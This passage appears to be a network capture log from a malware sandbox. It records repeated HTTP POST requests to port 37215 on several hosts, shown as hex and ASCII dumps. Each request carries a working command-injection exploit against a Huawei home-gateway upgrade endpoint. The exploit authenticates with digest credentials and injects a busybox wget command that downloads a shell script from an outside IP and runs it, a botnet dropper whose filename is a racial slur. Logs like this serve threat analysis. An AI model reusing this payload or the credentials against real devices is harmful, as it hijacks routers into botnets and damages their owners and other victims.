+x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:51.808795929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:55.872698069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.15	53240	45.33.246.33	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:47.987180948 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.832844973 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.824843884 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:51.808795929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:55.872673035 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.808538914 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:19.680003881 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.15	36768	45.43.233.31	37215

Timestamp	Bytes transferred	Direction	Data
